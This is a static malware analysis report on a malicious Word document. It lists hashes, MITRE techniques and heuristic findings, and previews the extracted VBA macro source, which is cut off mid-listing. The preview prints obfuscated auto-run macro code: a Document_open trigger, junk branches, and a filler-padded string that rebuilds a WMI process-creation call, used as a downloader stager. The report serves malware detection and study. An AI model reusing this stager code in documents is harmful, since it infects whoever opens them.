Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 efefb13f4f10cbe6…

MALICIOUS

Office (OLE)

246.8 KB Created: 2020-08-19 12:33:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 582d82e63d70a63e4c108826c0f989d5 SHA-1: 768574e719ff81ee56d353005150333d30a0e8c5 SHA-256: efefb13f4f10cbe61192d1e07a8c0a3b8c510b0775b4f5d73a522ea8a19fa1df
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_open' macro, along with 'CreateObject' calls and a hidden UserForm property stager, indicates an attempt to execute arbitrary code. The ClamAV detection 'Doc.Downloader.Generic-9395776-0' further supports its role as a downloader. The embedded VBA macro 'macros.bas' is the primary artifact.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-9395776-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9395776-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15342 bytes
SHA-256: 9593eb67380f2c19deb8a545c825465b12161564a29643ebccad52b069ec68c3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hsfggtlltgbdtcse0"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Qyiismxqrt_8hu7u.Ig_c9zmsgmz7b
End Sub


Attribute VB_Name = "Qyiismxqrt_8hu7u"
Attribute VB_Base = "0{421A0AB0-DB6C-4B73-89D9-C1D10B7CACAD}{CB61A236-DD34-46C2-BC8F-3B7A2BEF1884}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Ig_c9zmsgmz7b()
   Xkm0dzym9j2psc7 = "837"
If Len("Hl2pawm2rpykc2Aykvzqvd34bp23m") = Len("Oabunyqvl0wrzankg1") + 1 Then End
If Len("Tishb1i_w0hw_fteBggni1k16ep2pGabvyb5_5fy5wdnwl") < Len("Xeiaunttirhw") Then
        MsgBox "Ghg0v0u7cqcmazodg" + "F4j6luirybe5m"
        MsgBox ("Fmpwpf3y3k5yfytye")
        MsgBox "Bd05vn7x1ekt2j" + "Hezk4zawvb0"
End If
If Len("Qov9_813j5oB14pyniuuv7t6om2b") = Len("K4wmjifglwbr6q") Then
       MsgBox "Xic7w9h4prcsbdvv" + "T2pwf1rukscxsc1q49"
       MsgBox ("H6quhah6g1dd !!!")
       MsgBox "Bc2dae3svllqfg8p" + "Bifpkelhiw97k"
End If

F1b6qp2c2bayo6_vqj = Qyiismxqrt_8hu7u.HelpContextId + 50 + 50
   Mb5s71xgmcob0 = "635"
If Len("Gj6nfam0vgnVw2hg6l6v320") = Len("Zanxyhuib0s3") + 1 Then End
If Len("Hf_sryex8bqWu2eqrs8gf_0X05a3yiqduf7d") < Len("B5uc_9r4y5evr") Then
        MsgBox "W9fgaguzlxf" + "F14_vingqcwcab"
        MsgBox ("Dla7ggiugo_782ns8")
        MsgBox "P13ayi8iku4lcf0mpo" + "T0h_fwwwnqpcu"
End If
If Len("Domcey3_07y36l58I_hf0p1xobxt37s") = Len("P92wjl1t3all") Then
       MsgBox "Tk3q7dcnug_wq1" + "Dqgaftjocllajyo"
       MsgBox ("Cpix26d83q6c23a5vd !!!")
       MsgBox "I6kg6s8zfud41f" + "Whhd6knkj1zg"
End If

Wmtvod4sgoqd = ChrW(F1b6qp2c2bayo6_vqj + (15))
   Cukfps788fds44i = "51"
If Len("O4ej__y5m554ui_vxJwbf9lh31laykg") = Len("Dqljzwd7q4wzcnz") + 1 Then End
If Len("N7mpw3p64chjVzuxio3zl06j2Imxfpbfs4920obr") < Len("Qo6txecb509rh8") Then
        MsgBox "E7gdtg94ihl7w8" + "A2i6mqoh0hjvl"
        MsgBox ("Czl7qudi90kzwx")
        MsgBox "Iiqfv9hjmub4y" + "Xjvxmesaagmg"
End If
If Len("Ukvy636x05q1s8q_mUpabzzcjs6lik5") = Len("Do_28ha5u9qf86") Then
       MsgBox "Bbz4u332v7vv" + "Am2txmnsqipg3"
       MsgBox ("Lejugpk3kurjxny !!!")
       MsgBox "Wlw24ig8sur1w4" + "P3glwlmpg_jbg"
End If

Ijztlwkgzqfn5h = "111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfw111ss[sns ]]d][ jsa nbsb22v2yfi111ss[sns ]]d][ jsa nbsb22v2yfnm111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfgm111ss[sns ]]d][ jsa nbsb22v2yft111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf" + Wmtvod4sgoqd + "111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf:111ss[sns ]]d][ jsa nbsb22v2yfw111ss[sns ]]d][ jsa nbsb22v2yfin111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf3111ss[sns ]]d][ jsa nbsb22v2yf2111ss[sns ]]d][ jsa nbsb22v2yf_111ss[sns ]]d][ jsa nbsb22v2yf" + Qyiismxqrt_8hu7u.Vsr9ja_v24yn5 + "111ss[sns ]]d][ jsa nbsb22v2yfro111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfce111ss[sns ]]d][ jsa nbsb22v2yfs111ss[sns ]]d][ jsa nbsb22v2yfs111ss[sns ]]d][ jsa nbsb22v2yf"
   G9506ifjjb0s83q2wc = "914"
If Len("V2d0nfjdgnrxRjvuawu87sd") = Len("Sqna5yrr1mf") + 1 Then End
If Len("Zr4we084p55yW1_tj0i_9xz7Jz_fomepwu4") < Len("U8vlw7w1509r0rn8gb") Then
        MsgBox "C1bwh4kprt3kgguqb" + "Rm2dgjp3th9_hiu2"
        MsgBox ("G3lotmregbz3loam")
        MsgBox "N1cat3gpkdssm" + "Spsly2jgak0ah2_"
End If
If Len("U9y016zz1ae0G_w6s0m5cmva") = Len("S3btuqqcku6o5") Then
       MsgBox "T4wywk93lmg13xp1v" + "Yof8xhqytg0"
       MsgBox ("Tryewary_2o9qz !!!")
       MsgBox "Vz4yv_4qqz6gp" + "Y2358v1cxboj"
End If

Fzu7ik4kxno = Ww4o01pe1d0b9z8zl(Ijztlwkgzqfn5h)
   Erbhmd84g60ajbn = "966"
If Len("T30nus5d_ozctY5qyfwybdosqo3_a_o") = Len("I9cj9azx9i0") + 1 Then End
If Len("Vki8fuw83w1yv6Cce0pl0hb6uQq014f_zgg65qn") < Len("I1hoz
... (truncated)

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